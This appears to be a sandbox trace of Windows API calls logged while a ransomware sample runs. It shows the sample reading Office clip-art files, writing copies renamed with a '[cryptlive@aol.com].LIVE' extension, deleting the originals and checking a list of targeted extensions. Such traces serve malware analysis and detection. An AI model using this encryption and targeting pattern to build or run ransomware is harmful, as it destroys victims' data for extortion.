[0159.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF") returned 63 [0159.896] lstrlenW (lpString=".jpg") returned 4 [0159.896] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.896] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0159.896] lstrlenW (lpString="J0152884.WMF") returned 12 [0159.896] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152884.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0159.897] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=6956) returned 1 [0159.897] CloseHandle (hObject=0x384) returned 1 [0159.897] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152884.wmf")) returned 0x20 [0159.897] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152884.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0159.897] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152884.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0159.897] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0159.897] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0159.897] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152884.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0159.898] GetLastError () returned 0x0 [0159.898] ReadFile (in: hFile=0x384, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x1b2c, lpOverlapped=0x0) returned 1 [0159.900] WriteFile (in: hFile=0x3c4, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x1b30, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x1b30, lpOverlapped=0x0) returned 1 [0159.901] ReadFile (in: hFile=0x384, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0159.901] WriteFile (in: hFile=0x3c4, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0159.901] SetEndOfFile (hFile=0x3c4) returned 1 [0159.901] CloseHandle (hObject=0x3c4) returned 1 [0159.901] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0159.901] SetEndOfFile (hFile=0x384) returned 1 [0159.903] CloseHandle (hObject=0x384) returned 1 [0159.903] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0159.903] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152884.wmf")) returned 1 [0159.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF") returned 63 [0159.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF") returned 63 [0159.904] lstrlenW (lpString=".doc") returned 4 [0159.904] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.904] lstrlenW (lpString=".docx") returned 5 [0159.904] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0159.904] lstrlenW (lpString=".pdf") returned 4 [0159.904] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.904] lstrlenW (lpString=".xls") returned 4 [0159.904] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.904] lstrlenW (lpString=".xlsx") returned 5 [0159.904] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0159.905] lstrlenW (lpString=".ppt") returned 4 [0159.905] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF") returned 63 [0159.905] lstrlenW (lpString=".zip") returned 4 [0159.905] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.905] lstrlenW (lpString=".rar") returned 4 [0159.905] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.905] lstrlenW (lpString=".bz2") returned 4 [0159.905] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.905] lstrlenW (lpString=".7z") returned 3 [0159.905] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF") returned 63 [0159.905] lstrlenW (lpString=".dbf") returned 4 [0159.905] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF") returned 63 [0159.905] lstrlenW (lpString=".1cd") returned 4 [0159.905] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF") returned 63 [0159.905] lstrlenW (lpString=".jpg") returned 4 [0159.905] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF") returned 63 [0159.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF") returned 63 [0159.905] lstrlenW (lpString=".doc") returned 4 [0159.905] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.905] lstrlenW (lpString=".docx") returned 5 [0159.905] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0159.905] lstrlenW (lpString=".pdf") returned 4 [0159.905] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.905] lstrlenW (lpString=".xls") returned 4 [0159.905] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.905] lstrlenW (lpString=".xlsx") returned 5 [0159.905] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0159.905] lstrlenW (lpString=".ppt") returned 4 [0159.905] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF") returned 63 [0159.905] lstrlenW (lpString=".zip") returned 4 [0159.905] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.906] lstrlenW (lpString=".rar") returned 4 [0159.906] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.906] lstrlenW (lpString=".bz2") returned 4 [0159.906] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.906] lstrlenW (lpString=".7z") returned 3 [0159.906] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF") returned 63 [0159.906] lstrlenW (lpString=".dbf") returned 4 [0159.906] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF") returned 63 [0159.906] lstrlenW (lpString=".1cd") returned 4 [0159.906] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF") returned 63 [0159.906] lstrlenW (lpString=".jpg") returned 4 [0159.906] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.906] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0159.906] lstrlenW (lpString="J0152890.WMF") returned 12 [0159.906] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152890.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0159.907] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=1940) returned 1 [0159.907] CloseHandle (hObject=0x384) returned 1 [0159.907] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152890.wmf")) returned 0x20 [0159.907] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152890.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0159.908] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152890.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0159.908] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0159.908] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0159.908] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152890.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0159.909] GetLastError () returned 0x0 [0159.909] ReadFile (in: hFile=0x384, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x794, lpOverlapped=0x0) returned 1 [0159.910] WriteFile (in: hFile=0x3c4, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x7a0, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x7a0, lpOverlapped=0x0) returned 1 [0159.911] ReadFile (in: hFile=0x384, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0159.911] WriteFile (in: hFile=0x3c4, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0159.911] SetEndOfFile (hFile=0x3c4) returned 1 [0159.912] CloseHandle (hObject=0x3c4) returned 1 [0159.912] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0159.912] SetEndOfFile (hFile=0x384) returned 1 [0159.914] CloseHandle (hObject=0x384) returned 1 [0159.914] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0159.914] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152890.wmf")) returned 1 [0159.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF") returned 63 [0159.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF") returned 63 [0159.915] lstrlenW (lpString=".doc") returned 4 [0159.915] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.915] lstrlenW (lpString=".docx") returned 5 [0159.915] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0159.915] lstrlenW (lpString=".pdf") returned 4 [0159.915] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.915] lstrlenW (lpString=".xls") returned 4 [0159.915] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.915] lstrlenW (lpString=".xlsx") returned 5 [0159.915] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0159.915] lstrlenW (lpString=".ppt") returned 4 [0159.915] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF") returned 63 [0159.915] lstrlenW (lpString=".zip") returned 4 [0159.915] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.915] lstrlenW (lpString=".rar") returned 4 [0159.915] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.915] lstrlenW (lpString=".bz2") returned 4 [0159.915] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.915] lstrlenW (lpString=".7z") returned 3 [0159.915] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF") returned 63 [0159.916] lstrlenW (lpString=".dbf") returned 4 [0159.916] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF") returned 63 [0159.916] lstrlenW (lpString=".1cd") returned 4 [0159.916] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF") returned 63 [0159.916] lstrlenW (lpString=".jpg") returned 4 [0159.916] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF") returned 63 [0159.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF") returned 63 [0159.916] lstrlenW (lpString=".doc") returned 4 [0159.916] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.916] lstrlenW (lpString=".docx") returned 5 [0159.916] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0159.916] lstrlenW (lpString=".pdf") returned 4 [0159.916] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.916] lstrlenW (lpString=".xls") returned 4 [0159.916] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.916] lstrlenW (lpString=".xlsx") returned 5 [0159.916] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0159.916] lstrlenW (lpString=".ppt") returned 4 [0159.916] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF") returned 63 [0159.916] lstrlenW (lpString=".zip") returned 4 [0159.916] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.916] lstrlenW (lpString=".rar") returned 4 [0159.916] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.916] lstrlenW (lpString=".bz2") returned 4 [0159.916] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.916] lstrlenW (lpString=".7z") returned 3 [0159.916] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF") returned 63 [0159.916] lstrlenW (lpString=".dbf") returned 4 [0159.916] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF") returned 63 [0159.917] lstrlenW (lpString=".1cd") returned 4 [0159.917] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF") returned 63 [0159.917] lstrlenW (lpString=".jpg") returned 4 [0159.917] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.917] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0159.917] lstrlenW (lpString="J0152892.WMF") returned 12 [0159.917] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152892.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0159.917] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=10668) returned 1 [0159.917] CloseHandle (hObject=0x384) returned 1 [0159.918] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152892.wmf")) returned 0x20 [0159.918] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152892.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0159.918] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152892.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0159.918] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0159.918] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0159.918] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152892.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0159.919] GetLastError () returned 0x0 [0159.919] ReadFile (in: hFile=0x384, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x29ac, lpOverlapped=0x0) returned 1 [0159.920] WriteFile (in: hFile=0x3c4, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x29b0, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x29b0, lpOverlapped=0x0) returned 1 [0159.921] ReadFile (in: hFile=0x384, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0159.922] WriteFile (in: hFile=0x3c4, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0159.922] SetEndOfFile (hFile=0x3c4) returned 1 [0159.922] CloseHandle (hObject=0x3c4) returned 1 [0159.922] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0159.922] SetEndOfFile (hFile=0x384) returned 1 [0159.924] CloseHandle (hObject=0x384) returned 1 [0159.924] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0159.924] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152892.wmf")) returned 1 [0159.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF") returned 63 [0159.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF") returned 63 [0159.925] lstrlenW (lpString=".doc") returned 4 [0159.925] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.925] lstrlenW (lpString=".docx") returned 5 [0159.925] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0159.925] lstrlenW (lpString=".pdf") returned 4 [0159.925] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.925] lstrlenW (lpString=".xls") returned 4 [0159.925] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.925] lstrlenW (lpString=".xlsx") returned 5 [0159.925] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0159.925] lstrlenW (lpString=".ppt") returned 4 [0159.926] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF") returned 63 [0159.926] lstrlenW (lpString=".zip") returned 4 [0159.926] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.926] lstrlenW (lpString=".rar") returned 4 [0159.926] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.926] lstrlenW (lpString=".bz2") returned 4 [0159.926] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.926] lstrlenW (lpString=".7z") returned 3 [0159.926] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF") returned 63 [0159.926] lstrlenW (lpString=".dbf") returned 4 [0159.926] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF") returned 63 [0159.926] lstrlenW (lpString=".1cd") returned 4 [0159.926] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF") returned 63 [0159.926] lstrlenW (lpString=".jpg") returned 4 [0159.926] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF") returned 63 [0159.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF") returned 63 [0159.926] lstrlenW (lpString=".doc") returned 4 [0159.926] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.926] lstrlenW (lpString=".docx") returned 5 [0159.926] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0159.927] lstrlenW (lpString=".pdf") returned 4 [0159.927] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.927] lstrlenW (lpString=".xls") returned 4 [0159.927] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.927] lstrlenW (lpString=".xlsx") returned 5 [0159.927] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0159.927] lstrlenW (lpString=".ppt") returned 4 [0159.927] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF") returned 63 [0159.927] lstrlenW (lpString=".zip") returned 4 [0159.927] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.927] lstrlenW (lpString=".rar") returned 4 [0159.927] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.927] lstrlenW (lpString=".bz2") returned 4 [0159.927] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.927] lstrlenW (lpString=".7z") returned 3 [0159.927] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF") returned 63 [0159.927] lstrlenW (lpString=".dbf") returned 4 [0159.927] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF") returned 63 [0159.927] lstrlenW (lpString=".1cd") returned 4 [0159.927] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF") returned 63 [0159.927] lstrlenW (lpString=".jpg") returned 4 [0159.927] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.927] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0159.927] lstrlenW (lpString="J0152894.WMF") returned 12 [0159.927] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152894.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0159.928] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=11348) returned 1 [0159.928] CloseHandle (hObject=0x384) 